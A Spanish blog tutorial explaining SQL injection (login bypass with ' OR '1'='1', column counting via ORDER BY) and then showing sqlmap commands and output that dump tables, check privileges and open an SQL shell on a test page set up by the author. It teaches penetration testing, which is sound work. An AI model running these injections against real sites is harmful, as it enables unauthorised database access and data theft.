Automatizando ataques de inyección de SQL

Automatizando ataques de inyección de SQL
Publicado en Tecnología
Por por Jose Ramos

SQL Injection es una técnica de ataque a paginas o aplicaciones, que intenta inyectar código SQL dentro de la aplicación destino, para romper o acceder a información.

Pruebas de seguridad en las bases de datos

Por ejemplo cuando una web tiene un área de ingreso de usuario o login usualmente el desarrollador para validarlo, hace lo siguiente:

SELECT * FROM Users WHERE Username='usuario' AND Password='contraseña'
                

Si las variables usuario y contraseña se toman directamente de el formulario sin ningún tipo de escape de caracteres y se ingresan en la consulta, podríamos hacer que el usuario y contraseña tengan como valor '1' OR '1' = '1'.

La instrucción de SQL quedaría así:

SELECT * FROM Users WHERE Username='1' OR '1' = '1'  AND Password='1' OR '1′'= '1'
                

Esto significa que podríamos en ciertos casos identificar el número de columnas que contiene la tabla que muestra la información de la pagina que se esta auditando:

www.sitio.com/noticias.php?id=1 order by 1-- [Sin error]
                www.sitio.com/noticias.php?id=1 order by 2-- [Sin error]
                www.sitio.com/noticias.php?id=1 order by 3-- [Error]
                

El error se muestra al colocar el numero 3, esto quiere decir que la tabla solamente tiene 2 columnas.

Y así sucesivamente lo podríamos hacer manualmente, para efectos didácticos es recomendado hacerlo así. Pero en ambientes reales de auditoria, el tiempo es importante y si hacemos uso correcto de las herramientas tendremos los mismos resultados como si lo hiciéramos a mano y a veces mejores.

SQLmap, automatizando la inyección de SQL

SQLmap tiene soporte para distintos motores de base de datos: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB.

Tiene la capacidad de realizar de manera automática 6 técnicas de ataques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.

Requisitos

Python 2.7.5 o mayores.

Instalando SQLmap

Utilizamos Git para obtener el programa:

git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev 
                

Esto nos creara la carpeta sqlmap-dev en donde encontraremos una serie de archivos, pero el que nos interesa para ejecutar la herramienta, es sqlmap.py

Para hacer pruebas reales, creamos una página -donde podrán probar- lo que continuación les mostraremos, en esta dirección.

Conocer el motor, el nombre de la base de datos y más.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --current-db
                

Entre todos los datos que se nos muestra al final veremos esto:

back-end DBMS: MySQL 5.0
                [22:28:48] [INFO] fetching current database
                current database:    'testrootear'
                

Así que ya conocemos el nombre de la base de datos, en este caso testrootear.

Listando las tablas de la base de datos

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --tables -D testrootear
                

Resultado:

[22:17:39] [INFO] fetching tables for database: 'testrootear'
                Database: testrootear
                [1 table]
                +----------+
                | noticias |
                +----------+
                

Ahora ya conocemos que el nombre de la tabla es noticias.

Listando las columnas de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --columns -T noticias -D testrootear
                

Resultado:

Database: testrootear
                Table: noticias
                [2 columns]
                +-------------+--------------+
                | Column      | Type         |
                +-------------+--------------+
                | descripcion | varchar(200) |
                | titulo      | varchar(100) |
                +-------------+--------------+
                

Mostrar el contenido de la tabla

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dump -T noticias -D testrootear
                

Resultado:

Database: testrootear
                Table: noticias
                [2 entries]
                +-----------------------------------------------+--------------------------------+
                | titulo                                         | descripcion               |
                +-----------------------------------------------+--------------------------------+
                | Android y sus especificaciones   | Lo mejor de Android   |
                | Windows y sus especificaciones | Lo mejor de Widow$  |
                +------------------------------------------------+-------------------------------+
                

Mostrar si el usuario de la base de datos que usamos en DBA

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --is-dba
                

Resultado:

[22:23:38] [INFO] testing if current user is DBA
                [22:23:38] [INFO] fetching current user
                [22:23:38] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
                current user is DBA:    False
                

Mostrar otras bases de datos que hay en el servidor.

En este punto va a depender de los privilegios que tenga el usuario, en el script que tenemos para que hacer pruebas el usuario solamente tiene privilegios sobre la base de datos testrootear y por defecto information_schema.

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --dbs
                

Mostrar los privilegios del usuario actual

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --privileges
                

Resultado:

database management system users privileges:
                [*] 'rootearok'@'localhost' [1]:
                privilege: USAGE
                

Obteniendo SQL Shell

python sqlmap.py -u "http://188.226.143.29/testrootear.php?titulo=esp" --sql-shell
                

Como respuesta nos da una shell SQL en donde se podrá realizar consultas, escribimos:

SELECT @@datadir
                

Resultado:

sql-shell> SELECT @@datadir
                [22:33:20] [INFO] fetching SQL SELECT statement query output: 'SELECT @@datadir'
                SELECT @@datadir:    '/var/lib/mysql/'
                

Ciertamente SQLmap nos ofrece muchas opciones mas avanzadas, las cuales podremos ahondar mas en la documentación que se encuentra aquí. Depende de nosotros el uso que le demos a este tipo de herramientas, así que si vamos a hacer pruebas en otros ambientes no controlados o ajenos, no nos hacemos responsables.

Para ti
Queremos saber tu opinión. ¡Comenta!